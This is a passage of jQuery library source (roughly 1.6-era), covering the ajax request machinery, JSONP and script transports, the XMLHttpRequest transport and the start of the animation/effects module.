// If url is an object, simulate pre-1.5 signature
if ( typeof url === "object" ) {
options = url;
url = undefined;
}
// Force options to be an object
options = options || {};
var // Create the final options object
s = jQuery.ajaxSetup( {}, options ),
// Callbacks context
callbackContext = s.context || s,
// Context for global events
// It's the callbackContext if one was provided in the options
// and if it's a DOM node or a jQuery collection
globalEventContext = callbackContext !== s &&
( callbackContext.nodeType || callbackContext instanceof jQuery ) ?
jQuery( callbackContext ) : jQuery.event,
// Deferreds
deferred = jQuery.Deferred(),
completeDeferred = jQuery._Deferred(),
// Status-dependent callbacks
statusCode = s.statusCode || {},
// ifModified key
ifModifiedKey,
// Headers (they are sent all at once)
requestHeaders = {},
requestHeadersNames = {},
// Response headers
responseHeadersString,
responseHeaders,
// transport
transport,
// timeout handle
timeoutTimer,
// Cross-domain detection vars
parts,
// The jqXHR state
state = 0,
// To know if global events are to be dispatched
fireGlobals,
// Loop variable
i,
// Fake xhr
jqXHR = {
readyState: 0,
// Caches the header
setRequestHeader: function( name, value ) {
if ( !state ) {
var lname = name.toLowerCase();
name = requestHeadersNames[ lname ] = requestHeadersNames[ lname ] || name;
requestHeaders[ name ] = value;
}
return this;
},
// Raw string
getAllResponseHeaders: function() {
return state === 2 ? responseHeadersString : null;
},
// Builds headers hashtable if needed
getResponseHeader: function( key ) {
var match;
if ( state === 2 ) {
if ( !responseHeaders ) {
responseHeaders = {};
while( ( match = rheaders.exec( responseHeadersString ) ) ) {
responseHeaders[ match[1].toLowerCase() ] = match[ 2 ];
}
}
match = responseHeaders[ key.toLowerCase() ];
}
return match === undefined ? null : match;
},
// Overrides response content-type header
overrideMimeType: function( type ) {
if ( !state ) {
s.mimeType = type;
}
return this;
},
// Cancel the request
abort: function( statusText ) {
statusText = statusText || "abort";
if ( transport ) {
transport.abort( statusText );
}
done( 0, statusText );
return this;
}
};
// Callback for when everything is done
// It is defined here because jslint complains if it is declared
// at the end of the function (which would be more logical and readable)
function done( status, nativeStatusText, responses, headers ) {
// Called once
if ( state === 2 ) {
return;
}
// State is "done" now
state = 2;
// Clear timeout if it exists
if ( timeoutTimer ) {
clearTimeout( timeoutTimer );
}
// Dereference transport for early garbage collection
// (no matter how long the jqXHR object will be used)
transport = undefined;
// Cache response headers
responseHeadersString = headers || "";
// Set readyState
jqXHR.readyState = status > 0 ? 4 : 0;
var isSuccess,
success,
error,
statusText = nativeStatusText,
response = responses ? ajaxHandleResponses( s, jqXHR, responses ) : undefined,
lastModified,
etag;
// If successful, handle type chaining
if ( status >= 200 && status < 300 || status === 304 ) {
// Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode.
if ( s.ifModified ) {
if ( ( lastModified = jqXHR.getResponseHeader( "Last-Modified" ) ) ) {
jQuery.lastModified[ ifModifiedKey ] = lastModified;
}
if ( ( etag = jqXHR.getResponseHeader( "Etag" ) ) ) {
jQuery.etag[ ifModifiedKey ] = etag;
}
}
// If not modified
if ( status === 304 ) {
statusText = "notmodified";
isSuccess = true;
// If we have data
} else {
try {
success = ajaxConvert( s, response );
statusText = "success";
isSuccess = true;
} catch(e) {
// We have a parsererror
statusText = "parsererror";
error = e;
}
}
} else {
// We extract error from statusText
// then normalize statusText and status for non-aborts
error = statusText;
if( !statusText || status ) {
statusText = "error";
if ( status < 0 ) {
status = 0;
}
}
}
// Set data for the fake xhr object
jqXHR.status = status;
jqXHR.statusText = "" + ( nativeStatusText || statusText );
// Success/Error
if ( isSuccess ) {
deferred.resolveWith( callbackContext, [ success, statusText, jqXHR ] );
} else {
deferred.rejectWith( callbackContext, [ jqXHR, statusText, error ] );
}
// Status-dependent callbacks
jqXHR.statusCode( statusCode );
statusCode = undefined;
if ( fireGlobals ) {
globalEventContext.trigger( "ajax" + ( isSuccess ? "Success" : "Error" ),
[ jqXHR, s, isSuccess ? success : error ] );
}
// Complete
completeDeferred.resolveWith( callbackContext, [ jqXHR, statusText ] );
if ( fireGlobals ) {
globalEventContext.trigger( "ajaxComplete", [ jqXHR, s ] );
// Handle the global AJAX counter
if ( !( --jQuery.active ) ) {
jQuery.event.trigger( "ajaxStop" );
}
}
}
// Attach deferreds
deferred.promise( jqXHR );
jqXHR.success = jqXHR.done;
jqXHR.error = jqXHR.fail;
jqXHR.complete = completeDeferred.done;
// Status-dependent callbacks
jqXHR.statusCode = function( map ) {
if ( map ) {
var tmp;
if ( state < 2 ) {
for( tmp in map ) {
statusCode[ tmp ] = [ statusCode[tmp], map[tmp] ];
}
} else {
tmp = map[ jqXHR.status ];
jqXHR.then( tmp, tmp );
}
}
return this;
};
// Remove hash character (#7531: and string promotion)
// Add protocol if not provided (#5866: IE7 issue with protocol-less urls)
// We also use the url parameter if available
s.url = ( ( url || s.url ) + "" ).replace( rhash, "" ).replace( rprotocol, ajaxLocParts[ 1 ] + "//" );
// Extract dataTypes list
s.dataTypes = jQuery.trim( s.dataType || "*" ).toLowerCase().split( rspacesAjax );
// Determine if a cross-domain request is in order
if ( s.crossDomain == null ) {
parts = rurl.exec( s.url.toLowerCase() );
s.crossDomain = !!( parts &&
( parts[ 1 ] != ajaxLocParts[ 1 ] || parts[ 2 ] != ajaxLocParts[ 2 ] ||
( parts[ 3 ] || ( parts[ 1 ] === "http:" ? 80 : 443 ) ) !=
( ajaxLocParts[ 3 ] || ( ajaxLocParts[ 1 ] === "http:" ? 80 : 443 ) ) )
);
}
// Convert data if not already a string
if ( s.data && s.processData && typeof s.data !== "string" ) {
s.data = jQuery.param( s.data, s.traditional );
}
// Apply prefilters
inspectPrefiltersOrTransports( prefilters, s, options, jqXHR );
// If request was aborted inside a prefiler, stop there
if ( state === 2 ) {
return false;
}
// We can fire global events as of now if asked to
fireGlobals = s.global;
// Uppercase the type
s.type = s.type.toUpperCase();
// Determine if request has content
s.hasContent = !rnoContent.test( s.type );
// Watch for a new set of requests
if ( fireGlobals && jQuery.active++ === 0 ) {
jQuery.event.trigger( "ajaxStart" );
}
// More options handling for requests with no content
if ( !s.hasContent ) {
// If data is available, append data to url
if ( s.data ) {
s.url += ( rquery.test( s.url ) ? "&" : "?" ) + s.data;
// #9682: remove data so that it's not used in an eventual retry
delete s.data;
}
// Get ifModifiedKey before adding the anti-cache parameter
ifModifiedKey = s.url;
// Add anti-cache in url if needed
if ( s.cache === false ) {
var ts = jQuery.now(),
// try replacing _= if it is there
ret = s.url.replace( rts, "$1_=" + ts );
// if nothing was replaced, add timestamp to the end
s.url = ret + ( (ret === s.url ) ? ( rquery.test( s.url ) ? "&" : "?" ) + "_=" + ts : "" );
}
}
// Set the correct header, if data is being sent
if ( s.data && s.hasContent && s.contentType !== false || options.contentType ) {
jqXHR.setRequestHeader( "Content-Type", s.contentType );
}
// Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode.
if ( s.ifModified ) {
ifModifiedKey = ifModifiedKey || s.url;
if ( jQuery.lastModified[ ifModifiedKey ] ) {
jqXHR.setRequestHeader( "If-Modified-Since", jQuery.lastModified[ ifModifiedKey ] );
}
if ( jQuery.etag[ ifModifiedKey ] ) {
jqXHR.setRequestHeader( "If-None-Match", jQuery.etag[ ifModifiedKey ] );
}
}
// Set the Accepts header for the server, depending on the dataType
jqXHR.setRequestHeader(
"Accept",
s.dataTypes[ 0 ] && s.accepts[ s.dataTypes[0] ] ?
s.accepts[ s.dataTypes[0] ] + ( s.dataTypes[ 0 ] !== "*" ? ", " + allTypes + "; q=0.01" : "" ) :
s.accepts[ "*" ]
);
// Check for headers option
for ( i in s.headers ) {
jqXHR.setRequestHeader( i, s.headers[ i ] );
}
// Allow custom headers/mimetypes and early abort
if ( s.beforeSend && ( s.beforeSend.call( callbackContext, jqXHR, s ) === false || state === 2 ) ) {
// Abort if not done already
jqXHR.abort();
return false;
}
// Install callbacks on deferreds
for ( i in { success: 1, error: 1, complete: 1 } ) {
jqXHR[ i ]( s[ i ] );
}
// Get transport
transport = inspectPrefiltersOrTransports( transports, s, options, jqXHR );
// If no transport, we auto-abort
if ( !transport ) {
done( -1, "No Transport" );
} else {
jqXHR.readyState = 1;
// Send global event
if ( fireGlobals ) {
globalEventContext.trigger( "ajaxSend", [ jqXHR, s ] );
}
// Timeout
if ( s.async && s.timeout > 0 ) {
timeoutTimer = setTimeout( function(){
jqXHR.abort( "timeout" );
}, s.timeout );
}
try {
state = 1;
transport.send( requestHeaders, done );
} catch (e) {
// Propagate exception as error if not done
if ( state < 2 ) {
done( -1, e );
// Simply rethrow otherwise
} else {
jQuery.error( e );
}
}
}
return jqXHR;
},
// Serialize an array of form elements or a set of
// key/values into a query string
param: function( a, traditional ) {
var s = [],
add = function( key, value ) {
// If value is a function, invoke it and return its value
value = jQuery.isFunction( value ) ? value() : value;
s[ s.length ] = encodeURIComponent( key ) + "=" + encodeURIComponent( value );
};
// Set traditional to true for jQuery <= 1.3.2 behavior.
if ( traditional === undefined ) {
traditional = jQuery.ajaxSettings.traditional;
}
// If an array was passed in, assume that it is an array of form elements.
if ( jQuery.isArray( a ) || ( a.jquery && !jQuery.isPlainObject( a ) ) ) {
// Serialize the form elements
jQuery.each( a, function() {
add( this.name, this.value );
});
} else {
// If traditional, encode the "old" way (the way 1.3.2 or older
// did it), otherwise encode params recursively.
for ( var prefix in a ) {
buildParams( prefix, a[ prefix ], traditional, add );
}
}
// Return the resulting serialization
return s.join( "&" ).replace( r20, "+" );
}
});
function buildParams( prefix, obj, traditional, add ) {
if ( jQuery.isArray( obj ) ) {
// Serialize array item.
jQuery.each( obj, function( i, v ) {
if ( traditional || rbracket.test( prefix ) ) {
// Treat each array item as a scalar.
add( prefix, v );
} else {
// If array item is non-scalar (array or object), encode its
// numeric index to resolve deserialization ambiguity issues.
// Note that rack (as of 1.0.0) can't currently deserialize
// nested arrays properly, and attempting to do so may cause
// a server error. Possible fixes are to modify rack's
// deserialization algorithm or to provide an option or flag
// to force array serialization to be shallow.
buildParams( prefix + "[" + ( typeof v === "object" || jQuery.isArray(v) ? i : "" ) + "]", v, traditional, add );
}
});
} else if ( !traditional && obj != null && typeof obj === "object" ) {
// Serialize object item.
for ( var name in obj ) {
buildParams( prefix + "[" + name + "]", obj[ name ], traditional, add );
}
} else {
// Serialize scalar item.
add( prefix, obj );
}
}
// This is still on the jQuery object... for now
// Want to move this to jQuery.ajax some day
jQuery.extend({
// Counter for holding the number of active queries
active: 0,
// Last-Modified header cache for next request
lastModified: {},
etag: {}
});
/* Handles responses to an ajax request:
* - sets all responseXXX fields accordingly
* - finds the right dataType (mediates between content-type and expected dataType)
* - returns the corresponding response
*/
function ajaxHandleResponses( s, jqXHR, responses ) {
var contents = s.contents,
dataTypes = s.dataTypes,
responseFields = s.responseFields,
ct,
type,
finalDataType,
firstDataType;
// Fill responseXXX fields
for( type in responseFields ) {
if ( type in responses ) {
jqXHR[ responseFields[type] ] = responses[ type ];
}
}
// Remove auto dataType and get content-type in the process
while( dataTypes[ 0 ] === "*" ) {
dataTypes.shift();
if ( ct === undefined ) {
ct = s.mimeType || jqXHR.getResponseHeader( "content-type" );
}
}
// Check if we're dealing with a known content-type
if ( ct ) {
for ( type in contents ) {
if ( contents[ type ] && contents[ type ].test( ct ) ) {
dataTypes.unshift( type );
break;
}
}
}
// Check to see if we have a response for the expected dataType
if ( dataTypes[ 0 ] in responses ) {
finalDataType = dataTypes[ 0 ];
} else {
// Try convertible dataTypes
for ( type in responses ) {
if ( !dataTypes[ 0 ] || s.converters[ type + " " + dataTypes[0] ] ) {
finalDataType = type;
break;
}
if ( !firstDataType ) {
firstDataType = type;
}
}
// Or just use first one
finalDataType = finalDataType || firstDataType;
}
// If we found a dataType
// We add the dataType to the list if needed
// and return the corresponding response
if ( finalDataType ) {
if ( finalDataType !== dataTypes[ 0 ] ) {
dataTypes.unshift( finalDataType );
}
return responses[ finalDataType ];
}
}
// Chain conversions given the request and the original response
function ajaxConvert( s, response ) {
// Apply the dataFilter if provided
if ( s.dataFilter ) {
response = s.dataFilter( response, s.dataType );
}
var dataTypes = s.dataTypes,
converters = {},
i,
key,
length = dataTypes.length,
tmp,
// Current and previous dataTypes
current = dataTypes[ 0 ],
prev,
// Conversion expression
conversion,
// Conversion function
conv,
// Conversion functions (transitive conversion)
conv1,
conv2;
// For each dataType in the chain
for( i = 1; i < length; i++ ) {
// Create converters map
// with lowercased keys
if ( i === 1 ) {
for( key in s.converters ) {
if( typeof key === "string" ) {
converters[ key.toLowerCase() ] = s.converters[ key ];
}
}
}
// Get the dataTypes
prev = current;
current = dataTypes[ i ];
// If current is auto dataType, update it to prev
if( current === "*" ) {
current = prev;
// If no auto and dataTypes are actually different
} else if ( prev !== "*" && prev !== current ) {
// Get the converter
conversion = prev + " " + current;
conv = converters[ conversion ] || converters[ "* " + current ];
// If there is no direct converter, search transitively
if ( !conv ) {
conv2 = undefined;
for( conv1 in converters ) {
tmp = conv1.split( " " );
if ( tmp[ 0 ] === prev || tmp[ 0 ] === "*" ) {
conv2 = converters[ tmp[1] + " " + current ];
if ( conv2 ) {
conv1 = converters[ conv1 ];
if ( conv1 === true ) {
conv = conv2;
} else if ( conv2 === true ) {
conv = conv1;
}
break;
}
}
}
}
// If we found no converter, dispatch an error
if ( !( conv || conv2 ) ) {
jQuery.error( "No conversion from " + conversion.replace(" "," to ") );
}
// If found converter is not an equivalence
if ( conv !== true ) {
// Convert with 1 or 2 converters accordingly
response = conv ? conv( response ) : conv2( conv1(response) );
}
}
}
return response;
}
var jsc = jQuery.now(),
jsre = /(\=)\?(&|$)|\?\?/i;
// Default jsonp settings
jQuery.ajaxSetup({
jsonp: "callback",
jsonpCallback: function() {
return jQuery.expando + "_" + ( jsc++ );
}
});
// Detect, normalize options and install callbacks for jsonp requests
jQuery.ajaxPrefilter( "json jsonp", function( s, originalSettings, jqXHR ) {
var inspectData = s.contentType === "application/x-www-form-urlencoded" &&
( typeof s.data === "string" );
if ( s.dataTypes[ 0 ] === "jsonp" ||
s.jsonp !== false && ( jsre.test( s.url ) ||
inspectData && jsre.test( s.data ) ) ) {
var responseContainer,
jsonpCallback = s.jsonpCallback =
jQuery.isFunction( s.jsonpCallback ) ? s.jsonpCallback() : s.jsonpCallback,
previous = window[ jsonpCallback ],
url = s.url,
data = s.data,
replace = "$1" + jsonpCallback + "$2";
if ( s.jsonp !== false ) {
url = url.replace( jsre, replace );
if ( s.url === url ) {
if ( inspectData ) {
data = data.replace( jsre, replace );
}
if ( s.data === data ) {
// Add callback manually
url += (/\?/.test( url ) ? "&" : "?") + s.jsonp + "=" + jsonpCallback;
}
}
}
s.url = url;
s.data = data;
// Install callback
window[ jsonpCallback ] = function( response ) {
responseContainer = [ response ];
};
// Clean-up function
jqXHR.always(function() {
// Set callback back to previous value
window[ jsonpCallback ] = previous;
// Call if it was a function and we have a response
if ( responseContainer && jQuery.isFunction( previous ) ) {
window[ jsonpCallback ]( responseContainer[ 0 ] );
}
});
// Use data converter to retrieve json after script execution
s.converters["script json"] = function() {
if ( !responseContainer ) {
jQuery.error( jsonpCallback + " was not called" );
}
return responseContainer[ 0 ];
};
// force json dataType
s.dataTypes[ 0 ] = "json";
// Delegate to script
return "script";
}
});
// Install script dataType
jQuery.ajaxSetup({
accepts: {
script: "text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"
},
contents: {
script: /javascript|ecmascript/
},
converters: {
"text script": function( text ) {
jQuery.globalEval( text );
return text;
}
}
});
// Handle cache's special case and global
jQuery.ajaxPrefilter( "script", function( s ) {
if ( s.cache === undefined ) {
s.cache = false;
}
if ( s.crossDomain ) {
s.type = "GET";
s.global = false;
}
});
// Bind script tag hack transport
jQuery.ajaxTransport( "script", function(s) {
// This transport only deals with cross domain requests
if ( s.crossDomain ) {
var script,
head = document.head || document.getElementsByTagName( "head" )[0] || document.documentElement;
return {
send: function( _, callback ) {
script = document.createElement( "script" );
script.async = "async";
if ( s.scriptCharset ) {
script.charset = s.scriptCharset;
}
script.src = s.url;
// Attach handlers for all browsers
script.onload = script.onreadystatechange = function( _, isAbort ) {
if ( isAbort || !script.readyState || /loaded|complete/.test( script.readyState ) ) {
// Handle memory leak in IE
script.onload = script.onreadystatechange = null;
// Remove the script
if ( head && script.parentNode ) {
head.removeChild( script );
}
// Dereference the script
script = undefined;
// Callback if not abort
if ( !isAbort ) {
callback( 200, "success" );
}
}
};
// Use insertBefore instead of appendChild to circumvent an IE6 bug.
// This arises when a base node is used (#2709 and #4378).
head.insertBefore( script, head.firstChild );
},
abort: function() {
if ( script ) {
script.onload( 0, 1 );
}
}
};
}
});
var // #5280: Internet Explorer will keep connections alive if we don't abort on unload
xhrOnUnloadAbort = window.ActiveXObject ? function() {
// Abort all pending requests
for ( var key in xhrCallbacks ) {
xhrCallbacks[ key ]( 0, 1 );
}
} : false,
xhrId = 0,
xhrCallbacks;
// Functions to create xhrs
function createStandardXHR() {
try {
return new window.XMLHttpRequest();
} catch( e ) {}
}
function createActiveXHR() {
try {
return new window.ActiveXObject( "Microsoft.XMLHTTP" );
} catch( e ) {}
}
// Create the request object
// (This is still attached to ajaxSettings for backward compatibility)
jQuery.ajaxSettings.xhr = window.ActiveXObject ?
/* Microsoft failed to properly
* implement the XMLHttpRequest in IE7 (can't request local files),
* so we use the ActiveXObject when it is available
* Additionally XMLHttpRequest can be disabled in IE7/IE8 so
* we need a fallback.
*/
function() {
return !this.isLocal && createStandardXHR() || createActiveXHR();
} :
// For all other browsers, use the standard XMLHttpRequest object
createStandardXHR;
// Determine support properties
(function( xhr ) {
jQuery.extend( jQuery.support, {
ajax: !!xhr,
cors: !!xhr && ( "withCredentials" in xhr )
});
})( jQuery.ajaxSettings.xhr() );
// Create transport if the browser can provide an xhr
if ( jQuery.support.ajax ) {
jQuery.ajaxTransport(function( s ) {
// Cross domain only allowed if supported through XMLHttpRequest
if ( !s.crossDomain || jQuery.support.cors ) {
var callback;
return {
send: function( headers, complete ) {
// Get a new xhr
var xhr = s.xhr(),
handle,
i;
// Open the socket
// Passing null username, generates a login popup on Opera (#2865)
if ( s.username ) {
xhr.open( s.type, s.url, s.async, s.username, s.password );
} else {
xhr.open( s.type, s.url, s.async );
}
// Apply custom fields if provided
if ( s.xhrFields ) {
for ( i in s.xhrFields ) {
xhr[ i ] = s.xhrFields[ i ];
}
}
// Override mime type if needed
if ( s.mimeType && xhr.overrideMimeType ) {
xhr.overrideMimeType( s.mimeType );
}
// X-Requested-With header
// For cross-domain requests, seeing as conditions for a preflight are
// akin to a jigsaw puzzle, we simply never set it to be sure.
// (it can always be set on a per-request basis or even using ajaxSetup)
// For same-domain requests, won't change header if already provided.
if ( !s.crossDomain && !headers["X-Requested-With"] ) {
headers[ "X-Requested-With" ] = "XMLHttpRequest";
}
// Need an extra try/catch for cross domain requests in Firefox 3
try {
for ( i in headers ) {
xhr.setRequestHeader( i, headers[ i ] );
}
} catch( _ ) {}
// Do send the request
// This may raise an exception which is actually
// handled in jQuery.ajax (so no try/catch here)
xhr.send( ( s.hasContent && s.data ) || null );
// Listener
callback = function( _, isAbort ) {
var status,
statusText,
responseHeaders,
responses,
xml;
// Firefox throws exceptions when accessing properties
// of an xhr when a network error occured
// http://helpful.knobs-dials.com/index.php/Component_returned_failure_code:_0x80040111_(NS_ERROR_NOT_AVAILABLE)
try {
// Was never called and is aborted or complete
if ( callback && ( isAbort || xhr.readyState === 4 ) ) {
// Only called once
callback = undefined;
// Do not keep as active anymore
if ( handle ) {
xhr.onreadystatechange = jQuery.noop;
if ( xhrOnUnloadAbort ) {
delete xhrCallbacks[ handle ];
}
}
// If it's an abort
if ( isAbort ) {
// Abort it manually if needed
if ( xhr.readyState !== 4 ) {
xhr.abort();
}
} else {
status = xhr.status;
responseHeaders = xhr.getAllResponseHeaders();
responses = {};
xml = xhr.responseXML;
// Construct response list
if ( xml && xml.documentElement /* #4958 */ ) {
responses.xml = xml;
}
responses.text = xhr.responseText;
// Firefox throws an exception when accessing
// statusText for faulty cross-domain requests
try {
statusText = xhr.statusText;
} catch( e ) {
// We normalize with Webkit giving an empty statusText
statusText = "";
}
// Filter status for non standard behaviors
// If the request is local and we have data: assume a success
// (success with no data won't get notified, that's the best we
// can do given current implementations)
if ( !status && s.isLocal && !s.crossDomain ) {
status = responses.text ? 200 : 404;
// IE - #1450: sometimes returns 1223 when it should be 204
} else if ( status === 1223 ) {
status = 204;
}
}
}
} catch( firefoxAccessException ) {
if ( !isAbort ) {
complete( -1, firefoxAccessException );
}
}
// Call complete if needed
if ( responses ) {
complete( status, statusText, responses, responseHeaders );
}
};
// if we're in sync mode or it's in cache
// and has been retrieved directly (IE6 & IE7)
// we need to manually fire the callback
if ( !s.async || xhr.readyState === 4 ) {
callback();
} else {
handle = ++xhrId;
if ( xhrOnUnloadAbort ) {
// Create the active xhrs callbacks list if needed
// and attach the unload handler
if ( !xhrCallbacks ) {
xhrCallbacks = {};
jQuery( window ).unload( xhrOnUnloadAbort );
}
// Add to list of active xhrs callbacks
xhrCallbacks[ handle ] = callback;
}
xhr.onreadystatechange = callback;
}
},
abort: function() {
if ( callback ) {
callback(0,1);
}
}
};
}
});
}
var elemdisplay = {},
iframe, iframeDoc,
rfxtypes = /^(?:toggle|show|hide)$/,
rfxnum = /^([+\-]=)?([\d+.\-]+)([a-z%]*)$/i,
timerId,
fxAttrs = [
// height animations
[ "height", "marginTop", "marginBottom", "paddingTop", "paddingBottom" ],
// width animations
[ "width", "marginLeft", "marginRight", "paddingLeft", "paddingRight" ],
// opacity animations
[ "opacity" ]
],
fxNow;
jQuery.fn.extend({
show: function( speed, easing, callback ) {
var elem, display;
if ( speed || speed === 0 ) {
return this.animate( genFx("show", 3), speed, easing, callback);
} else {
for ( var i = 0, j = this.length; i < j; i++ ) {
elem = this[i];
if ( elem.style ) {
display = elem.style.display;
// Reset the inline display of this element to learn if it is
// being hidden by cascaded rules or not
if ( !jQuery._data(elem, "olddisplay") && display === "none" ) {
display = elem.style.display = "";
}
// Set elements which have been overridden with display: none
// in a stylesheet to whatever the default browser style is
// for such an element
if ( display === "" && jQuery.css( elem, "display" ) === "none" ) {
jQuery._data(elem, "olddisplay", defaultDisplay(elem.nodeName));
}
}
}
// Set the display of most of the elements in a second loop
// to avoid the constant reflow
for ( i = 0; i < j; i++ ) {
elem = this[i];
if ( elem.style ) {
display = elem.style.display;
if ( display === "" || display === "none" ) {
elem.style.display = jQuery._data(elem, "olddisplay") || "";
}
}
}
return this;
}
},
hide: function( speed, easing, callback ) {
if ( speed || speed === 0 ) {
return this.animate( genFx("hide", 3), speed, easing, callback);
} else {
for ( var i = 0, j = this.length; i < j; i++ ) {
if ( this[i].style ) {
var display = jQuery.css( this[i], "display" );
if ( display !== "none" && !jQuery._data( this[i], "olddisplay" ) ) {
jQuery._data( this[i], "olddisplay", display );
}
}
}
// Set the display of the elements in a second loop
// to avoid the constant reflow
for ( i = 0; i < j; i++ ) {
if ( this[i].style ) {
this[i].style.display = "none";
}
}
return this;
}
},
// Save the old toggle function
_toggle: jQuery.fn.toggle,
toggle: function( fn, fn2, callback ) {
var bool = typeof fn === "boolean";
if ( jQuery.isFunction(fn) && jQuery.isFunction(fn2) ) {
this._toggle.apply( this, arguments );
} else if ( fn == null || bool ) {
this.each(function() {
var state = bool ? fn : jQuery(this).is(":hidden");
jQuery(this)[ state ? "show" : "hide" ]();
});
} else {
this.animate(genFx("toggle", 3), fn, fn2, callback);
}
return this;
},
fadeTo: function( speed, to, easing, callback ) {
return this.filter(":hidden").css("opacity", 0).show().end()
.animate({opacity: to}, speed, easing, callback);
},
animate: function( prop, speed, easing, callback ) {
var optall = jQuery.speed(speed, easing, callback);
if ( jQuery.isEmptyObject( prop ) ) {
return this.each( optall.complete, [ false ] );
}
// Do not change referenced properties as per-property easing will be lost
prop = jQuery.extend( {}, prop );
return this[ optall.queue === false ? "each" : "queue" ](function() {
// XXX 'this' does not always have a nodeName when running the
// test suite
if ( optall.queue === false ) {
jQuery._mark( this );
}
var opt = jQuery.extend( {}, optall ),
isElement = this.nodeType === 1,
hidden = isElement && jQuery(this).is(":hidden"),
name, val, p,
display, e,
parts, start, end, unit;
// will store per property easing and be used to determine when an animation is complete
opt.animatedProperties = {};
for ( p in prop ) {
// property name normalization
name = jQuery.camelCase( p );
if ( p !== name ) {
prop[ name ] = prop[ p ];
delete prop[ p ];
}
val = prop[ name ];
// easing resolution: per property > opt.specialEasing > opt.easing > 'swing' (default)
if ( jQuery.isArray( val ) ) {
opt.animatedProperties[ name ] = val[ 1 ];
val = prop[ name ] = val[ 0 ];
} else {
opt.animatedProperties[ name ] = opt.specialEasing && opt.specialEasing[ name ] || opt.easing || 'swing';
}
if ( val === "hide" && hidden || val === "show" && !hidden ) {
return opt.complete.call( this );
}
if ( isElement && ( name === "height" || name === "width" ) ) {
// Make sure that nothing sneaks out
// Record all 3 overflow attributes because IE does not
// change the overflow attribute when overflowX and
// overflowY are set to the same value
opt.overflow = [ this.style.overflow, this.style.overflowX, this.style.overflowY ];
// Set display property to inline-block for height/width
// animations on inline elements that are having width/height
// animated
if ( jQuery.css( this, "display" ) === "inline" &&
jQuery.css( this, "float" ) === "none" ) {
if ( !jQuery.support.inlineBlockNeedsLayout ) {
this.style.display = "inline-block";
} else {
display = defaultDisplay( this.nodeName );
// inline-level elements accept inline-block;
// block-level elements need to be inline with layout
if ( display === "inline" ) {
this.style.display = "inline-block";
} else {
this.style.display = "inline";
this.style.zoom = 1;
}
}
}
}
}
if ( opt.overflow != null ) {
this.style.overflow = "hidden";
}
for ( p in prop ) {
e = new jQuery.fx( this, opt, p );
val = prop[ p ];
if ( rfxtypes.test(val) ) {
e[ val === "toggle" ? hidden ? "show" : "hide" : val ]();
} else {
parts = rfxnum.exec( val );
start = e.cur();
if ( parts ) {
end = parseFloat( parts[2] );
unit = parts[3] || ( jQuery.cssNumber[ p ] ? "" : "px" );
// We need to compute starting value
if ( unit !== "px" ) {
jQuery.style( this, p, (end || 1) + unit);
start = ((end || 1) / e.cur()) * start;
jQuery.style( this, p, start + unit);
}
// If a +=/-= token was provided, we're doing a relative animation
if ( parts[1] ) {
end = ( (parts[ 1 ] === "-=" ? -1 : 1) * end ) + start;
}
e.custom( start, end, unit );
} else {
e.custom( start, val, "" );
}
}
}
// For JS strict compliance
return true;
});
},
stop: function( clearQueue, gotoEnd ) {
if ( clearQueue ) {
this.queue([]);
}
this.each(function() {
var timers = jQuery.timers,
i = timers.length;
// clear marker counters if we know they won't be
if ( !gotoEnd ) {
jQuery._unmark( true, this );
}
while ( i-- ) {
if ( timers[i].elem === this ) {
if (gotoEnd) {
// force the next step to be the last
timers[i](true);
}
timers.splice(i, 1);
}
}
});
// start the next in the queue if the last step wasn't forced
if ( !gotoEnd ) {
this.dequeue();
}
return this;
}
});
// Animations created synchronously will run synchronously
function createFxNow() {
setTimeout( clearFxNow, 0 );
return ( fxNow = jQuery.now() );
}
function clearFxNow() {
fxNow = undefined;
}
// Generate parameters to create a standard animation
function genFx( type, num ) {
var obj = {};
jQuery.each( fxAttrs.concat.apply([], fxAttrs.slice(0,num)), function() {
obj[ this ] = type;
});
return obj;
}
// Generate shortcuts for custom animations
jQuery.each({
slideDown: genFx("show", 1),
slideUp: genFx("hide", 1),
slideToggle: genFx("toggle", 1),
fadeIn: { opacity: "show" },
fadeOut: { opacity: "hide" },
fadeToggle: { opacity: "toggle" }
}, function( name, props ) {
jQuery.fn[ name ] = function( speed, easing, callback ) {
return this.animate( props, speed, easing, callback );
};
});
jQuery.extend({
speed: function( speed, easing, fn ) {
var opt = speed && typeof speed === "object" ? jQuery.extend({}, speed) : {
complete: fn || !fn && easing ||
jQuery.isFunction( speed ) && speed,
duration: speed,
easing: fn && easing || easing && !jQuery.isFunction(easing) && easing
};
opt.duration = jQuery.fx.off ? 0 : typeof opt.duration === "number" ? opt.duration :
opt.duration in jQuery.fx.speeds ? jQuery.fx.speeds[opt.duration] : jQuery.fx.speeds._default;
// Queueing
opt.old = opt.complete;
opt.complete = function( noUnmark ) {
if ( jQuery.isFunction( opt.old ) ) {
opt.old.call( this );
}
if ( opt.queue !== false ) {
jQuery.dequeue( this );
} else if ( noUnmark !== false ) {
jQuery._unmark( this );
}
};
return opt;
},
easing: {
linear: function( p, n, firstNum, diff ) {
return firstNum + diff * p;
},
swing: function( p, n, firstNum, diff ) {
return ((-Math.cos(p*Math.PI)/2) + 0.5) * diff + firstNum;
}
},
timers: [],
fx: function( elem, options, prop ) {
this.options = options;
this.elem = elem;
this.prop = prop;
options.orig = options.orig || {};
}
});
jQuery.fx.prototype = {
// Simple function for setting a style value
update: function() {
if ( this.options.step ) {
this.options.step.call( this.elem, this.now, this );
}
(jQuery.fx.step[this.prop] || jQuery.fx.step._default)( this );
},
// Get the current size
cur: function() {
if ( this.elem[this.prop] != null && (!this.elem.style || this.elem.style[this.prop] == null) ) {
return this.elem[ this.prop ];
}
var parsed,
r = jQuery.css( this.elem, this.prop );
// Empty strings, null, undefined and "auto" are converted to 0,
// complex values such as "rotate(1rad)" are returned as is,
// simple values such as "10px" are parsed to Float.
return isNaN( parsed = parseFloat( r ) ) ? !r || r === "auto" ? 0 : r : parsed;
},
// Start an animation from one number to another
custom: function( from, to, unit ) {
var self = this,
fx = jQuery.fx;
this.startTime = fxNow || createFxNow();
this.start = from;
this.end = to;
this.unit = unit || this.unit || ( jQuery.cssNumber[ this.prop ] ? "" : "px" );
this.now = this.start;
this.pos = this.state = 0;
function t( gotoEnd ) {
return self.step(gotoEnd);
}
t.elem = this.elem;
if ( t() && jQuery.timers.push(t) && !timerId ) {
timerId = setInterval( fx.tick, fx.interval );
}
},
// Simple 'show' function
show: function() {
// Remember where we started, so that we can go back to it later
this.options.orig[this.prop] = jQuery.style( this.elem, this.prop );
this.options.show = true;
// Begin the animation
// Make sure that we start at a small width/height to avoid any
